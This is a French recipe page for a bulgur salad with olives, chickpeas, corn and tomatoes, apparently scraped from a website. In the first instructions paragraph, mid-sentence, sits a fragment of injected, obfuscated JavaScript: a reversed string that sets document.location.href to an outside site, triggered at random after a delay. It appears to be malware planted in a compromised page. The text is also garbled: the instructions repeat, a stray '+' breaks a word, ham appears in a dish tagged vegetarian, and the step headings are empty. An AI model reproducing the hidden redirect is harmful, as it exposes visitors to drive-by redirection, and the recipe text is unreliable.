Salade de boulgour aux olives
2018-02-13- Cuisine : Salade
- Thématique : Végétarien
- Niveau : Facile
Faites gonfler le boulgour dans un récipient d’eau tiède salée, pendant 25 minutes. Égouttez les pois chiches et le maïs. Rincez, coupez en deux les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates.
Ingrédients
Faites gonfler le boulgour dans un récipie+nt d'eau tiède salée, pendant 25 minutes. Égouttez les pois chiches et le maïs. Rincez, coupez en deux les tomates. Les épépiner et les détailler en petits dés. Rincez, essorez, ciselez les brins de coriandre. Coupez le jambon en petits dés. Pelez, émincez l'oignon. Pelez les pois chiches. Pressez le jus des 2 citrons. Égouttez le boulgour.
Déposez-le dans un plat 1/2 creux avec le jus de 2 citrons, l'huile d'olive, le jambon, le maïs, les olives, les pois chiches. Salez, poivrez et dégustez.Préparation de la recette
Etape 1
Etape 2
Etape 3
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